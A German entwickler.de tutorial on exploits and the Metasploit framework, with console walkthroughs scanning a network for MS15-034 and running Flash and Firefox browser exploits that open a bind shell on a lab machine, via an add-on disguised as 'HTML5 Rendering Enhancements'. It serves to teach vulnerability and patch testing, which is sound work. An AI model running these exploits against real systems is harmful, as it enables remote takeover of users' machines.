entwickler.de

Einstieg in die Welt der Exploits

Der Einfachheit halber werde ich im Folgenden stets von einer Pufferüberlaufschwachstelle ausgehen, meist in einer Desktopanwendung, das Gleiche gilt sinngemäß aber auch für Serveranwendungen, Daemons etc. Nur dass die in der Regel nicht über präparierte Dateien angegriffen werden, sondern die präparierten Daten übers Netzwerk direkt an den betroffenen Dienst etc. geschickt werden. Auf Webanwendungen wird nicht weiter eingegangen, das würde sonst zu einem Artikelüberlauf führen.

Proof of Concepts, Exploits und Malware

Exploits gibt es in etlichen Varianten. Los geht es mit ganz einfachen Proof of Concepts (PoC), die eigentlich noch gar keine Exploits sind. Denn sie nutzen die Schwachstelle nicht aus, sondern beweisen nur ihre Existenz. Zum Beispiel, indem sie bei einem Pufferüberlauf zum Absturz des Programms führen. Damit lässt sich erst einmal nur beweisen, dass es einen Fehler gibt. Ob der Pufferüberlauf aber auch das Einschleusen von Code erlaubt und damit eine ausnutzbare Schwachstelle darstellt, lässt sich daraus noch nicht ableiten.

Die Entdecker der Schwachstellen, aber auch an der betreffenden Schwachstelle interessierte Dritte, entwickeln daher oft funktionsfähige Exploits. Im Fall eines Pufferüberlaufs unter Windows wird beispielsweise gerne der Taschenrechner geöffnet. Wenn sich etwa durch eine präparierte Flash-Datei der Taschenrechner öffnen lässt, ist auch das Öffnen eines Remote-Zugangs möglich, oder allgemein die Ausführung beliebigen Codes. Das Öffnen des Taschenrechners hat dabei den Vorteil, dass man den Angriff sofort sieht.

Zu guter Letzt gibt es die bösartigen Exploits der Cyberkriminellen. Die haben heutzutage zumeist die Aufgabe, weiteren Schadcode nachzuladen.

Shellcode öffnet nicht immer eine Shell

Allgemein wird der beim Angriff eingeschleuste Code als „Shellcode“ bezeichnet, da er ursprünglich dazu diente, eine von außen zugängliche Shell zu öffnen. Inzwischen kann mit Shellcode auch der Taschenrechner gestartet werden, wenn es nur darum geht, das Ausführen von Code zu beweisen.

Cyberkriminelle schleusen als ersten Code inzwischen so genannte „Downloader“ ein, deren einzige Aufgabe darin besteht, weiteren Schadcode von einem Server der Cyberkriminellen nachzuladen. Der Grund dafür ist schlicht die Größe des eingeschleusten Codes: Der muss sich im Allgemeinen innerhalb der präparierten Datei befinden oder innerhalb weniger Pakete an den betroffenen Service etc. geschickt werden. Der verfügbare Platz reicht daher oft nicht aus, die inzwischen auch immer umfangreichere Schadsoftware unterzubringen. Aber für ein paar Befehle zum Nachladen von Code ist allemal Platz.

Die Entstehung eines Exploits

Die Entwicklungsgeschichte der Exploits ist durchaus unterschiedlich. Manchmal enthält das Advisory mit der Beschreibung der Schwachstelle bereits einen fertigen Exploit, mit dem sogleich bewiesen wird, dass die Schwachstelle wirklich ausnutzbar ist.

Häufig enthält das Advisory aber nur einen PoC, aus dem erst ein Exploit zur Demonstration der tatsächlichen Ausnutzbarkeit der Schwachstelle entwickelt wird.

Teilweise wird auch zuerst ein bösartiger Exploit „in the Wild“ entdeckt, der von Forschern quasi entschärft, also von den Schadfunktionen bereinigt und um harmlose Aktionen erweitert wird. Das ist vor allem bei 0-Day-Exploits der Fall, also Exploits, bei denen es für die ausgenutzte Schwachstelle zunächst keinen Patch gibt.

Es kommt aber auch vor, dass aus einem bösartigen Exploit für eine längst behobene Schwachstelle ein harmloser Exploit zum Testen der Schwachstelle entwickelt wird. Denn auch so kann man mitunter etwas lernen, zum Beispiel wenn Cyberkriminelle neue Wege zum Umgehen von Mitigations gefunden haben.

Und auch bei Cyberkriminellen sieht es ähnlich aus: Die entwickeln zum einen eigene Exploits (sonst gäbe es gar keine 0-Day-Exploits) und rüsten zum anderen Demo-Exploits mit Schadfunktionen aus, um sie für ihre Zwecke nutzen zu können. Der Weg vom harmlosen Demo-Exploit zum bösartigen Exploit ist kurz. Im Allgemeinen muss nur der Shellcode ausgetauscht werden. Das Gleiche gilt natürlich auch in der Gegenrichtung, nur muss man dabei darauf achten, dass der Exploit nicht weiteren Schadcode enthält.

Was lässt sich damit anfangen?

Exploits lassen sich auch im Guten vielfältig nutzen. Zum Beispiel um zu prüfen, ob es eine Schwachstelle auf dem eigenen System gibt oder nicht. Dafür reichen schon die einfachen PoCs aus. Stürzt das von einem Pufferüberlauf betroffene Programm beim Einsatz des PoC ab, gibt es den Fehler. Passiert nichts, gibt es mit ziemlicher Sicherheit auch den Fehler nicht.

„Mit ziemlicher Sicherheit“, da es ja auch eine Abart des Fehlers bzw. der Schwachstelle geben könnte, bei der der PoC nicht wirkt. Ich erinnere hier nur an die Shellshock-Schwachstelle, die zweimal behoben werden musste und zu der es noch eine weitere, zur ursprünglichen Schwachstelle äquivalente, Schwachstelle gab.

Genauso lassen sich installierte Patches oder Updates auf ihre Wirksamkeit prüfen. Gibt es nach der Installation des Patches oder Updates keinen Absturz, wurde die Schwachstelle mit hoher Wahrscheinlichkeit (mit der gleichen Einschränkung wie eben) behoben.

Haben Sie einen Workaround zur Abwehr von Angriffen installiert, zum Beispiel indem Sie das Enhanced Mitigation Experience Toolkit EMET [1] entsprechend konfiguriert haben, hilft ihnen der PoC allerdings nicht weiter. Das betroffene Programm stürzt trotz des Workarounds meist weiterhin ab, wenn es die präparierten Daten verarbeitet. Eingeschleuster Code wird aber nicht mehr ausgeführt, sodass der eigentliche Angriff ins Leere läuft.

Um den Workaround zu testen, müssen Sie also einen Exploit einsetzen, der die Schwachstelle auszunutzen versucht. Theoretisch würde auch ein bösartiger Exploit diesen Zweck erfüllen, in der Praxis werden Sie aber kaum das Risiko eingehen wollen, ihren Rechner höchstpersönlich mit Schadsoftware zu infizieren. Also benötigen Sie einen harmlosen Exploit, der beispielsweise nur den Taschenrechner öffnet.

Mitunter möchte man die Folgen eines Angriffs und damit die Wirkung eines Exploits aber auch einem Dritten demonstrieren, etwa weil dieser der Ansicht ist, seinem Rechner könne ja gar nichts passieren. In einem solchen Fall reicht das Öffnen eines Taschenrechners nicht mehr aus, da muss ein Remote-Zugang oder ein anderer überzeugender Beweis für die Gefahren eines Angriffs her. Damit können die normalen Exploits zur Demonstration im Allgemeinen nicht dienen, und die Hintertüren installierenden bösartigen Varianten helfen einem auch nicht wirklich weiter. Es sei denn, man möchte dabei auch testen, ob der Virenscanner den Schädling erkennt oder nicht. Aber es gibt auch eine harmlose Lösung: Das Exploit-Framework Metasploit, zu dem ich gleich komme. Aber vorher werfen wir noch einen Blick auf die normalen Exploits.

Exploits, Exploits, Exploits …

Es gibt verschiedene Quellen für Exploits. Eine gute ist die Exploit Database von Offensive Security. Werfen wir einen Blick darauf. Die Exploits werden in verschiedene Kategorien eingeteilt:

In der Kategorie „Remote Exploits“ befindet sich zum Beispiel der Exploit „Adobe Flash Player – Arbitrary Code Execution“, der die Schwachstelle mit der CVE-ID CVE-2015-0313 im Flash Player ausnutzt.

Diese Schwachstelle wurde Anfang Februar 2015 durch einen 0-Day-Exploit bekannt. Der für Drive-by-Infektionen genutzte Exploit wurde über präparierte Werbung verbreitet und dem Exploit-Kit „Angler“ zugeordnet. Der Exploit in der Exploit-DB ist recht kurz. Er besteht nur aus einigen Links zur Beschreibung der Schwachstelle und des Exploits und nennt als dessen Quelle das Angler Exploit Kit: „Adobe Flash vulnerability source code (cve-2015-0313) from Angler Exploit Kit“.

Der eigentliche Exploit liegt nicht in ausführbarer Form vor, sondern als Sourcecode auf GitHub. Was ihn für die oben genannten Zwecke ohne zusätzlichen Arbeitsaufwand unbrauchbar macht.

Es gibt in der Exploit-DB jedoch auch sofort einsetzbare Exploits, zum Beispiel den Exploit „WebGate eDVR Manager – Stack Buffer Overflow“ für ein ActiveX-Control im WebGate eDVR Manager.

Der Exploit besteht aus einer HTML-Datei, die sowohl die nötigen Befehle zum Ausnutzen der Schwachstelle als auch den einzuschleusenden Shellcode enthält (der den Taschenrechner öffnet). Damit lässt sich die Schwachstelle problemlos nachvollziehen. Wird die HTML-Seite auf einem Rechner geöffnet, auf dem eine verwundbare Version des WebGate-eDVR-Managers installiert ist, wird der Taschenrechner vom ActiveX-Control geöffnet.

Zu den „Local & Privilege Escalation Exploits“ gehört neben etlichen tatsächlichen nur lokal einsetzbaren Exploits und Exploits zum Erlangen höherer Benutzerrechte unter anderem auch der Exploit „UniPDF 1.1 – Crash PoC (SEH overwritten)“. Dieser erzeugt die Datei update.xml, bei deren Öffnen UniPDF nach einem Pufferüberlauf abstürzt.

Mit diesem Exploit lässt sich prüfen, ob es zu einem Pufferüberlauf kommt oder nicht. Ob darüber Code eingeschleust werden kann, ist offen. In diesem Fall hat der Entdecker der Schwachstelle keine Möglichkeit dafür gefunden und bittet daher um Vorschläge, ob bzw. wie eine Ausnutzung der Schwachstelle möglich ist.

Eigentlich ist dieser PoC falsch einsortiert, er gehört doch eher in die nächste Kategorie, „PoC & Denial of Service Exploits“. Aus der stammt auch der Exploit „MS Windows (HTTP.sys) – HTTP Request Parsing DoS (MS15-034)“. Die ausgenutzte Schwachstelle CVE-2015-1635 im HTTP-Server erlaubt DoS-Angriffe und evtl. auch die Ausführung von Code, der Exploit führt jedoch nur zum Absturz des Servers. Diese Schwachstelle gewann im April überraschend an Brisanz, da Cyberkriminelle anfingen, das Netz nach verwundbaren Servern zu durchsuchen.

Mit diesem Exploit lässt sich also lediglich testen, ob eine Pufferüberlaufschwachstelle vorhanden ist, nicht aber, ob eingeschleuster Code ausgeführt wird oder nicht.

Das Metasploit-Framework

Das Metasploit Framework kombiniert Exploits, Shellcode und mehr unter einer gemeinsamen Benutzeroberfläche, sodass das Testen von Schwachstellen deutlich vereinfacht wird.

Außer dem freien Metasploit Framework gibt es noch kommerzielle Versionen: die kostenlose Communityversion und die kostenpflichtigen Express- und Proversionen. Der Unterschied liegt unter anderem in der Benutzeroberfläche. Während das Framework über die Kommandozeile gesteuert wird, gibt es für die kommerziellen Versionen eine Weboberfläche und ein GUI. Außerdem steigt der Funktionsumfang, die Proversion kann zum Beispiel auch in Webanwendungen nach den OWASP-Top-10-Schwachstellen suchen und lässt sich teilweise automatisieren.

Die Community- und Proversionen erfordern eine Registrierung, bevor sie genutzt werden können. Den dafür nötigen Lizenzschlüssel bekommen Interessenten außerhalb der USA und Kanadas seit April erst, nachdem sie vom für die kommerziellen Versionen zuständigen Unternehmen Rapid7 überprüft wurden (und diese Prüfung bestanden haben). Ursache dafür sind die Exportbeschränkungen der USA.

Das Metasploit-Framework als Open-Source-Projekt ist davon nicht betroffen und kann weiterhin von jedermann ohne Einschränkungen heruntergeladen werden.

Installation

Sie können das Metasploit-Framework auf Ihrem Rechner installieren, es gibt binäre Installer sowohl für Windows als auch für Linux. Ich ziehe den Einsatz von Kali Linux vor. Das ist eine speziell für Penetration-Tests und Sicherheits-Audits entwickelte Linux-Distribution, die sowohl als Live-CD als auch als virtuelle Maschine heruntergeladen werden kann.

Praktischerweise enthält Kali Linux bereits das fertig installierte Metasploit-Framework, es muss nur aktiviert werden. Weshalb ich die virtuelle Maschine bevorzuge, da dort die dafür nötigen Konfigurationsänderungen automatisch dauerhaft gespeichert werden.

Der Vorteil von Kali Linux ist vielfältig. Zunächst einmal werden die Exploits etc. nicht direkt auf dem eigenen Rechner gespeichert, wo sie schnell mal einem übereifrigen Virenscanner zum Opfer fallen können. Dann enthält Kali Linux alle benötigten Komponenten, man kann sofort damit arbeiten. Und zu guter Letzt enthält Kali Linux außer dem Metasploit-Framework eine Reihe weiterer nützlicher Tools, wenn es darum geht, Netzwerke zu erkunden, Schwachstellen aufzuspüren und Angriffe zu untersuchen.

Metasploit-Framework unter Kali Linux starten

Starten Sie zunächst die VM mit Kali Linux und loggen Sie sich als root ein. Das Passwort dafür lautet toor. Man soll bekanntlich nicht als root arbeiten, sofern es nicht zwingend nötig ist. Das ist es hier jedoch, zum einen, da einem normalen Benutzer bereits die nötigen Konfigurationsänderungen meist nicht möglich sind, zum anderen, da manche der Tools Root-Rechte benötigen.

Aber kommen wir zum Metasploit-Framework. Per Default laufen unter Kali Linux keine Netzwerkdienste einschließlich Datenbanken. Da Metasploit PostgreSQL für seine Datenbank verwendet, muss dieses zuerst gestartet werden:

service postgresql start

Danach kann der Kali-Metasploit-Service gestartet werden. Bei seinem ersten Start richtet er sich die benötigte Datenbank samt Benutzer selbst ein, bei Bedarf werden außerdem der Metasploit RPC und der Webserver gestartet:

service metasploit start

Nachdem PostgreSQL und Metasploit-Service laufen, kann die msfconsole gestartet werden. Als Erstes sollten Sie prüfen, ob der Zugriff auf die Datenbank möglich ist:

msfconsole

und dann

msf > db_status
[*] postgresql connected to msf3

Sie können PostgreSQL und Metasploit auch automatisch beim Booten starten lassen:

update-rc.d postgresql enable
update-rc.d metasploit enable

Bevor Sie mit Metasploit arbeiten, ist zunächst ein Update fällig. Dafür dient der Befehl msfupdate. Der sorgt dafür, dass sowohl das Framework selbst als auch sämtliche weiteren Bestandteile, insbesondere die Exploits, auf dem aktuellen Stand sind. Starten Sie nach dem Update die msfconsole.

Passendes Modul auswählen

Das Metasploit-Framework basiert auf Modulen. Jedes Modul erfüllt eine bestimmte Aufgabe. Egal ob Exploit, Shellcode, Tool, … alles ist als Modul implementiert. Ihre Aufgabe beim Test einer Schwachstelle besteht zunächst darin, das passende Modul auszuwählen und danach zu konfigurieren und zu starten. Die wichtigsten Module sind dabei die Exploits. Metasploit verwendet zwei Arten von Exploits. Aktive Exploits richten sich gegen einen bestimmten Host. Sie laufen, bis sie ihr Ziel erreicht haben, und beenden sich dann. Passive Exploits warten auf dem Metasploit-Rechner zum Beispiel in Form einer Webseite darauf, dass sich ein Host mit ihnen verbindet, und greifen ihn dann an.

Stellen Sie Ihre Fragen zu diesen oder anderen Themen unseren entwickler.de-Lesern oder beantworten Sie Fragen der anderen Leser.

Außerdem gibt es Auxiliary-Modules, die verschiedene Hilfsfunktionen bereitstellen, und die Payloads, die die über die Exploits eingeschleusten Funktionen bereitstellen (also das, was auch als Shellcode bezeichnet wird).

Mit einem PoC geht es los

Zu Beginn wollen wir nach Servern suchen, die die oben schon erwähnte, mit MS15-034 behobene Schwachstelle CVE-2015-1635 im HTTP-Server enthalten. Mit dem Befehl search können Sie nach Modulen suchen, in diesem Fall bietet sich zum Beispiel search http.sys an. Metasploit listet daraufhin die verfügbaren Module auf (Listing 1). Die Auswahl ist überschaubar, es gibt nur ein Auxiliary-Modul, und das testet die gesuchte Schwachstelle. Das Auxiliary-Modul können wir nun mit dem Befehl use auswählen:

use auxiliary/dos/http/ms15_034_ulonglongadd

Jetzt muss es konfiguriert werden. Welche Optionen es gibt, verrät der Befehl show options, dessen Ergebnis Sie ebenfalls in Listing 1 sehen. Von den zwingend erforderlichen Optionen ist nur für RHOSTS kein Wert gesetzt, und der kann auch über die Kommandozeile übergeben werden. Sehen wir nun einmal nach, was mit den Servern von 192.168.1.1 bis 192.168.1.25 los ist. Der Befehl check prüft, ob ein Host verwundbar ist oder nicht:

check 192.168.1.1-192.168.1.25

Das Ergebnis sehen Sie ebenfalls in Listing 1. Im Beispiel gibt es keine verwundbare Installation, sodass lediglich drei nicht zuverlässig testbare Hosts gemeldet werden: Der Router, ein Mac und ein Linux-Server.

Listing 1: Metasploit und MS15-034

msf > search http.sys

Matching Modules
================

   Name                                      Disclosure Date  Rank    Description
   ----                                      ---------------  ----    -----------
   auxiliary/dos/http/ms15_034_ulonglongadd                   normal  MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service


msf > use auxiliary/dos/http/ms15_034_ulonglongadd
msf auxiliary(ms15_034_ulonglongadd) > show options

Module options (auxiliary/dos/http/ms15_034_ulonglongadd):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port
   TARGETURI  /welcome.png     yes       A valid file resource
   THREADS    1                yes       The number of concurrent threads
   VHOST                       no        HTTP server virtual host

msf auxiliary(ms15_034_ulonglongadd) > check 192.168.1.1-192.168.1.25
[*] 192.168.1.1:80 - Cannot reliably check exploitability.
[*] Checked 03 of 25 hosts (012% complete)
[*] Checked 05 of 25 hosts (020% complete)
[*] Checked 08 of 25 hosts (032% complete)
[*] 192.168.1.10:80 - Cannot reliably check exploitability.
[*] Checked 10 of 25 hosts (040% complete)
[*] Checked 13 of 25 hosts (052% complete)
[*] Checked 15 of 25 hosts (060% complete)
[*] Checked 18 of 25 hosts (072% complete)
[*] Checked 20 of 25 hosts (080% complete)
[*] Checked 23 of 25 hosts (092% complete)
[*] 192.168.1.25:80 - Cannot reliably check exploitability.
[*] Checked 25 of 25 hosts (100% complete)
msf auxiliary(ms15_034_ulonglongadd) > 

Hat der Flash Player eine Schwachstelle?

Als Nächstes wollen wir nachsehen, wie es mit der oben erwähnten Schwachstelle CVE-2015-0313 im Flash Player aussieht. Der Exploit in der Exploit-DB war nicht so ohne Weiteres brauchbar. Was hat denn das Metasploit-Framework für den Flash Player zu bieten? search flash liefert eine längere Liste möglicher Module (Listing 2). Auf den ersten Blick ist das Gesuchte nicht zu erkennen. Aber ein Blick ins Internet hilft. Die Beschreibung der Metasploit-Exploits im Web ist natürlich deutlich ausführlicher als die in der Konsole, und in der Tat gibt es für die Schwachstelle CVE-2015-0313 ein Exploit-Modul:

exploit/windows/browser/adobe_flash_worker_byte_array_uaf

Und das stellt auch unsere Version des Frameworks zur Verfügung. Dann wollen wir es doch auch nutzen. Was jetzt noch fehlt, ist die Konfiguration der Payload und der Optionen. Welche Payloads werden unterstützt? Das erfahren wir mit show payloads. Die Liste ist ziemlich lang, in Listing 2 habe ich sie deshalb gekürzt. Nehmen wir einmal windows/shell/bind_tcp. Das ist eine an einen TCP-Port gebundene Shell, mit der wir uns im Erfolgsfall verbinden können:

set payload windows/shell/bind_tcp

Kommen wir zu den Optionen, die wie oben über show options angezeigt werden. Hier ist keine Anpassung nötig (Listing 2). Die vorgegebenen Werte können so bleiben. Da es sich um einen passiven Exploit handelt, passiert nach dem Start mit exploit erst einmal nichts weiter – der Exploit wartet darauf, von einem Webbrowser geladen zu werden. Dabei sorgt JavaScript-Code dafür, dass der Exploit nur an verwundbare Browser (in diesem Fall einem IE mit dem verwundbaren Flash Player) ausgeliefert wird. Im Erfolgsfall wird vom Exploit eine von außen zugängliche Shell geöffnet, mit der sich das Metasploit-Framework verbinden kann.

Sie kennen den Vorführeffekt – der funktioniert auch beim Scheiben eines Artikels. Beim ersten Versuch hat alles wunderbar geklappt, allerdings habe ich das Protokoll irgendwann versehentlich gelöscht. Als ich das beim Fertigstellen des Artikels gemerkt habe, war der Flash Player der virtuellen Testmaschine inzwischen aktualisiert. Man sollte eben auch von virtuellen Maschinen des Öfteren Backups anlegen.

Listing 2 zeigt daher nur drei fehlgeschlagene Versuche: Zunächst ein Aufruf mit dem Mac, dort stimmen weder System noch Browser (Useragent) noch Flash mit den Anforderungen überein, sodass der Exploit nicht ausgeliefert wird. Der nächste Zugriff stammt von einem Windows-Rechner, allerdings mit Firefox – weder Useragent noch Flash erfüllen die Anforderungen. Beim letzten Versuch mit dem Internet Explorer stimmen zwar System und Useragent, die Flashversion jedoch nicht.

Listing 2: Der Exploit für den Flash Player im Einsatz

msf > search flash

Matching Modules
================

   Name                                                               Disclosure Date  Rank       Description
   ----                                                               ---------------  ----       -----------
   auxiliary/gather/flash_rosetta_jsonp_url_disclosure                2014-07-08       normal     Flash "Rosetta" JSONP GET/POST Response Disclosure
   exploit/linux/browser/adobe_flashplayer_aslaunch                   2008-12-17       good       Adobe Flash Player ActionScript Launch Command Execution Vulnerability
   exploit/multi/browser/firefox_svg_plugin                           2013-01-08       excellent  Firefox 17.0.1 Flash Privileged Code Injection
   exploit/unix/webapp/flashchat_upload_exec                          2013-10-04       excellent  FlashChat Arbitrary File Upload
   exploit/unix/webapp/open_flash_chart_upload_exec                   2009-12-14       great      Open Flash Chart v2 Arbitrary File Upload
   exploit/unix/webapp/openemr_upload_exec                            2013-02-13       excellent  OpenEMR PHP File Upload Vulnerability
   exploit/windows/browser/adobe_flash_avm2                           2014-02-05       normal     Adobe Flash Player Integer Underflow Remote Code Execution
   exploit/windows/browser/adobe_flash_casi32_int_overflow            2014-10-14       normal     Adobe Flash Player casi32 Integer Overflow

[…]

   exploit/windows/browser/adobe_flash_worker_byte_array_uaf          2015-02-02       normal     Adobe Flash Player ByteArray With Workers Use After Free

[…]

   exploit/windows/http/oracle_btm_writetofile                        2012-08-07       excellent  Oracle Business Transaction Management FlashTunnelService Remote Code Execution
   payload/firefox/exec                                                                normal     Firefox XPCOM Execute Command
   post/windows/gather/credentials/flashfxp                                            normal     Windows Gather FlashFXP Saved Password Extraction


msf > use exploit/windows/browser/adobe_flash_worker_byte_array_uaf
msf exploit(adobe_flash_worker_byte_array_uaf) > show payloads

Compatible Payloads
===================

   Name                                                Disclosure Date  Rank    Description
   ----                                                ---------------  ----    -----------
   generic/custom                                                       normal  Custom Payload
   generic/debug_trap                                                   normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                               normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                                            normal  Generic Command Shell, Reverse TCP Inline
   generic/tight_loop                                                   normal  Generic x86 Tight Loop

…

   windows/shell/bind_tcp                                               normal  Windows Command Shell, Bind TCP Stager (Windows x86)

…

   windows/vncinject/reverse_tcp_rc4_dns                                normal  VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS)
   windows/vncinject/reverse_winhttp                                    normal  VNC Server (Reflective Injection), Reverse HTTP Stager (WinHTTP)

msf exploit(adobe_flash_worker_byte_array_uaf) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(adobe_flash_worker_byte_array_uaf) > show options

Module options (exploit/windows/browser/adobe_flash_worker_byte_array_uaf):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Retries  true             no        Allow the browser to retry the module
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (windows/shell/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(adobe_flash_worker_byte_array_uaf) > exploit
[*] Exploit running as background job.

[*] Started bind handler
msf exploit(adobe_flash_worker_byte_array_uaf) > [*] Using URL: http://0.0.0.0:8080/JnFmeZQPAbGZgQS
[*] Local IP: http://172.16.192.128:8080/JnFmeZQPAbGZgQS
[*] Server started.
[*] 172.16.192.1     adobe_flash_worker_byte_array_uaf - Gathering target information.
[*] 172.16.192.1     adobe_flash_worker_byte_array_uaf - Sending HTML response.
[!] 172.16.192.1     adobe_flash_worker_byte_array_uaf - Exploit requirement(s) not met: os_name, ua_name, flash. For more info: http://r-7.co/PVbcgx
[*] 172.16.192.133   adobe_flash_worker_byte_array_uaf - Gathering target information.
[*] 172.16.192.133   adobe_flash_worker_byte_array_uaf - Sending HTML response.
[!] 172.16.192.133   adobe_flash_worker_byte_array_uaf - Exploit requirement(s) not met: ua_name, flash. For more info: http://r-7.co/PVbcgx
[*] 172.16.192.133   adobe_flash_worker_byte_array_uaf - Gathering target information.
[*] 172.16.192.133   adobe_flash_worker_byte_array_uaf - Sending HTML response.
[!] 172.16.192.133   adobe_flash_worker_byte_array_uaf - Exploit requirement(s) not met: flash. For more info: http://r-7.co/PVbcgx

msf exploit(adobe_flash_worker_byte_array_uaf) > 

Weiterer Exploit für Firefox

Kommen wir zum Abschluss zu einem weiteren Exploit für Firefox: exploit/multi/browser/firefox_proto_crmfrequest. Damit wird eine Schwachstelle ausgenutzt, über die ohne Zutun des Benutzers Plug-ins in Firefox eingeschleust werden können.

Wie Sie den Exploit finden, auswählen und konfigurieren, haben Sie bereits oben gesehen, zudem sind die Schritte in Listing 3 enthalten. Auffallend ist die geringe Anzahl kompatibler Payloads. Der Grund dafür ist einfach: Die Payload wird als Firefox-Plug-in eingeschleust, sodass viele Payloads automatisch rausfallen.

Nach der erfolgreichen Installation des Plug-ins wird die Shell geöffnet. Mit dieser können Sie sich vom Metasploit-Framework aus verbinden. Dazu lassen Sie sich zunächst die verfügbaren Sessions mittels sessions anzeigen. In diesem Fall gibt es nur die eine Session, die der Exploit soeben geöffnet hat. Mit dieser wollen wir interagieren:

sessions -i 1

Wie üblich lassen sich mit help die möglichen Befehle anzeigen. Mit systeminfo erfahren Sie viel über das kompromittierte System, Sie können sich im Dateisystem umsehen und alles machen, was der angegriffene Benutzer selbst mit einer Shell tun könnte. Jedenfalls dann, wenn Sie nicht von Schutzmaßnahmen gestoppt werden. Auf dem Testsystem war der Virenscanner ausgeschaltet, die Firewall aber aktiv. Und die hat auf den laufenden Exploit reagiert (Abb. 1). Leider ist die Warnung sehr allgemein – wer nicht weiß, dass da gerade ein Angriff läuft, wird wohl kaum seinem Webbrowser den Zugriff auf das Internet verweigern. Und nach dem Klick auf Zugriff zulassen hat der Angreifer vollen Zugriff auf die eingeschleuste Shell.

Listing 3: Der Exploit für den Firefox im Einsatz

msf > search firefox

Matching Modules
================

   Name                                                        Disclosure Date  Rank       Description
   ----                                                        ---------------  ----       -----------
   auxiliary/dos/http/gzip_bomb_dos                            2004-01-01       normal     Gzip Memory Bomb Denial Of Service
   encoder/generic/eicar                                                        manual     The EICAR Encoder
   encoder/generic/none                                                         normal     The "none" Encoder
   exploit/firefox/local/exec_shellcode                        2014-03-10       normal     Firefox Exec Shellcode from Privileged Javascript Shell
   exploit/multi/browser/firefox_escape_retval                 2009-07-13       normal     Firefox 3.5 escape() Return Value Memory Corruption
   exploit/multi/browser/firefox_proto_crmfrequest             2013-08-06       excellent  Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution

[…]

   post/multi/gather/firefox_creds                                              normal     Multi Gather Firefox Signon Credential Collection
   post/multi/gather/ssh_creds                                                  normal     Multi Gather OpenSSH PKI Credentials Collection
   post/windows/gather/forensics/browser_history                                normal     Windows Gather Skype, Firefox, and Chrome Artifacts


msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(firefox_proto_crmfrequest) > show payloads

Compatible Payloads
===================

   Name                       Disclosure Date  Rank    Description
   ----                       ---------------  ----    -----------
   firefox/exec                                normal  Firefox XPCOM Execute Command
   firefox/shell_bind_tcp                      normal  Command Shell, Bind TCP (via Firefox XPCOM script)
   firefox/shell_reverse_tcp                   normal  Command Shell, Reverse TCP (via Firefox XPCOM script)
   generic/custom                              normal  Custom Payload
   generic/shell_bind_tcp                      normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                   normal  Generic Command Shell, Reverse TCP Inline

msf exploit(firefox_proto_crmfrequest) > set payload firefox/shell_bind_tcp
payload => firefox/shell_bind_tcp
msf exploit(firefox_proto_crmfrequest) > show options

Module options (exploit/multi/browser/firefox_proto_crmfrequest):

   Name           Current Setting               Required  Description
   ----           ---------------               --------  -----------
   ADDONNAME      HTML5 Rendering Enhancements  yes       The addon name.
   AutoUninstall  true                          yes       Automatically uninstall the addon after payload execution
   CONTENT                                      no        Content to display inside the HTML <body>.
   Retries        true                          no        Allow the browser to retry the module
   SRVHOST        0.0.0.0                       yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT        8080                          yes       The local port to listen on.
   SSL            false                         no        Negotiate SSL for incoming connections
   SSLCert                                      no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                                      no        The URI to use for this exploit (default is random)


Payload options (firefox/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Universal (Javascript XPCOM Shell)


msf exploit(firefox_proto_crmfrequest) > exploit
[*] Exploit running as background job.

[*] Started bind handler
msf exploit(firefox_proto_crmfrequest) > [*] Using URL: http://0.0.0.0:8080/BgYSkk
[*] Local IP: http://172.16.192.128:8080/BgYSkk
[*] Server started.
[*] 172.16.192.131   firefox_proto_crmfrequest - Gathering target information.
[*] 172.16.192.131   firefox_proto_crmfrequest - Sending HTML response.
[*] 172.16.192.131   firefox_proto_crmfrequest - Sending HTML
[*] 172.16.192.131   firefox_proto_crmfrequest - Sending the malicious addon
[*] Started bind handler
[*] Command shell session 1 opened (172.16.192.128:47850 -> 172.16.192.131:4444) at 2015-05-22 08:31:48 -0400

msf exploit(firefox_proto_crmfrequest) > sessions

Active sessions
===============

  Id  Type           Information  Connection
  --  ----           -----------  ----------
  1   shell firefox               172.16.192.128:47850 -> 172.16.192.131:4444 (172.16.192.131)

msf exploit(firefox_proto_crmfrequest) > sessions -i 1
[*] Starting interaction with 1...

help
help
Geben Sie HELP "Befehlsname" ein, um weitere Informationen zu einem bestimmten
Befehl anzuzeigen.
ASSOC          Zeigt Dateierweiterungszuordnungen an bzw. ändert sie.
ATTRIB         Zeigt Dateiattribute an bzw. ändert sie.
BREAK          Schaltet die erweiterte Überprüfung für STRG+C ein bzw. aus.
BOOTCFG        Legt Eigenschaften zur Steuerung des Startladenvorganges in der 
               Startdatenbank fest.
CACLS          Zeigt Datei-ACLs (Access Control List) an bzw. ändert sie.
CALL           Ruft eine Batchdatei von einer anderen Batchdatei aus auf.
CD             Zeigt den Namen des aktuellen Verzeichnisses an bzw. ändert
               diesen.
CHCP           Zeigt die aktive Codepagenummer an bzw. legt sie fest.
CHDIR          Zeigt den Namen des aktuellen Verzeichnisses an bzw. ändert
               es.
CHKDSK         Überprüft einen Datenträger und zeigt einen Statusbericht an.
